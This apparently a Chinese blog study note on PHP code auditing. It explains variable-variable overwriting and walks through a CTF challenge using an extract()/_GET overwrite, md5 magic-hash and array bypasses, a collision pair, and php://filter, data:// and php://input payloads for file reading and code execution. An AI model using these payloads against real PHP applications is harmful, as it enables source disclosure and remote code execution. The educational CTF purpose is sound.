由一段代码引发的惨案,md5绕过,foreach,php伪协议
第一部分
0.起因
读《白帽子讲Web安全》里的一段代码
$chs = '';
if($_POST && $charset != 'utf-8'){
$chs = new Chinses('UTF-8',$charset);
foreach ($_POSTas as $key => $value)
{
$$key = $chs->Convert($value);
}
unset($chs);
}
0.1.$$是甚么
php中$$符号的使用方法
示例代码:
<?php
$var = 'hello word !';
$str = 'var';
echo $str;
echo $$str;
?>
输出结果:
var
hello word !
说明:
1、$str的变量的值为字符串 var
2、$$str为一个可变变量,$str的值为 var 则 $$str 等同于 $var
0.2.PHP中的=>,->是什么意思?
-
->是对象执行方法或取得属性用的。
-
=>是数组里键和值对应用的。
foreach ($array as $key => $value)
{
要执行代码;
}
每一次循环,当前数组元素的键与值就都会被赋值给 $key 和 $value 变量(数字指针会逐一地移动),在进行下一次循环时,你将看到数组中的下一个键与值。
<?php
$x=array(1=>"Google", 2=>"Runoob", 3=>"Taobao");
foreach ($x as $key => $value)
{
echo "key 为 " . $key . ",对应的 value 为 ". $value . PHP_EOL;
}
?>
输出
key 为 1,对应的 value 为 Google
key 为 2,对应的 value 为 Runoob
key 为 3,对应的 value 为 Taobao
<?php
class Car {
public $speed = 0;
//增加speedUp方法,使speed加10
public function speedUp()
{
$this->speed+=10;
}
}
$car = new Car();
$car->speedUp();
echo $car->speed;
?>
0.3.回手掏
再看这段代码
$chs = '';
if($_POST && $charset != 'utf-8'){
$chs = new Chinses('UTF-8',$charset);
foreach ($_POSTas as $key => $value)
{
$$key = $chs->Convert($value);
}
unset($chs);
}
若提交参数chs,则可覆盖变量“$chs”的值
在代码审计时需要注意类似“$$k”
的变量赋值方式可能覆盖已有变量,从而导致一些不可控的结果。
第二部分
感觉神熟悉,没错,前几天做的一道题
1.0.php代码审计
这题默认打开了两个
allow_url_include = On
allow_url_fopen = On
<?php
highlight_file('index.php'); //PHP 语法高亮显示
//当使用该函数时,整个文件都将被显示,包括密码和其他敏感信息!
function waf($a){
foreach($a as $key => $value){
if(preg_match('/flag/i',$key)){
exit('are you a hacker');
}
}
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k); //销毁变量
} //这是在干啥?
}
}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}
if($_POST) extract($_POST, EXTR_SKIP); //EXTR_SKIP - 如果有冲突,不覆盖已有的变量。
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_GET['flag'])){
if($_GET['flag'] === $_GET['hongri']){ //flag[]=1&hongri[]=2
exit('error');
}
if(md5($_GET['flag'] ) == md5($_GET['hongri'])){ //flag!=honri QNKCDZO s878926199a
$url = $_GET['url']; //但他俩md5要一样,可以利用数组绕过
$urlInfo = parse_url($url); //解析一个 URL 并返回一个关联数组
if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){ //只能http
die( "scheme error!"); //输出一条消息,并退出当前脚本:
}
$url = escapeshellarg($url);
$url = escapeshellcmd($url);
system("curl ".$url);
}
}
?>
在这里,我曾经十分疑惑waf函数里那个foreach是干什么的
现在能看出来个大概了
foreach里面的判断先是遍历$_POST
然后再遍历$_GET
如果$_POST
存在,就把它里面的键值赋给$__k => $__v
如果$$_k
存在而且和$__v
弱相等就销毁$$_k
现在假设post里的是_GET=>a
$__k就是_GET
$__v就是a
那么$$_k就是$_GET
1.1.PHP extract() 函数
将键值 "Cat"、"Dog" 和 "Horse" 赋值给变量 $a、$b 和 $c
:
<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
输出
$a = Cat; $b = Dog; $c = Horse
ps:当 extract()从数组中导出变量的时候,如果是默认的EXTR_OVERWRITE
会覆盖已有的变量。
当我们的get被销毁后,
if($_POST) extract($_POST, EXTR_SKIP); //EXTR_SKIP - 如果有冲突,不覆盖已有的变量。
if($_GET) extract($_GET, EXTR_SKIP);
如果post的和get一样,再在变量前面加上_GET的话,extract()会重新生成$_GET变量
1.2.md5弱绕过与强碰撞
https://www.jianshu.com/p/2cb9253a0da1
- md5弱比较,为0e开头的会被识别为科学记数法,结果均为0
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
param1=QNKCDZO¶m2=aabg7XSs
- md5强比较,此时如果传入的两个参数不是字符串,而是数组,md5()函数无法解出其数值,而且不会报错,就会得到===强比较的值相等
param1[]=111¶m2[]=222
- 真实md5碰撞,因为此时不能输入数组了,只能输入字符串
两串巨长的字符串md5一样
上网找了两个相对短一些的
0e306561559aa787d00bc6f70bbdfe34
04cf03659e704f8534c00ffb659c4c87
40cc942feb2da115a3f4155cbb860749
7386656d7d1f34a42059d78f5a8dd1ef
0e306561559aa787d00bc6f70bbdfe34
04cf03659e744f8534c00ffb659c4c87
40cc942feb2da115a3f415dcbb860749
7386656d7d1f34a42059d78f5a8dd1ef
两段数据的MD5均为:
cee9a457e790cf20d4bdaa6d69f01e41
考虑到要将一些不可见字符传到服务器,这里可以使用url编码
最后就成这奶奶样了
param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2¶m2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
1.3.payload
get部分:
?flag=QNKCDZO&hongri=240610708&file=php://filter/read=convert.base64-encode/resource=flag.php
post部分:
?_GET[flag]=QNKCDZO&_GET[hongri]=240610708&_GET[file]=php://filter/read=convert.base64-encode/resource=flag.php
1.4.伪协议
读取(base64可以读出看不见的东西哦)
php://filter/read=convert.base64-encode/resource=d:\phpstudy_pro\WWW\flag.php
php://filter/read=convert.base64-encode/resource=useless.phpfile://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
file=./phpinfo.txt
file=http://127.0.0.1/phpinfo.txt
写入
data://text/plain;base64,base64的内容
data://text/plain,
执行
php://input + [POST DATA]执行php代码
'); ?>
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]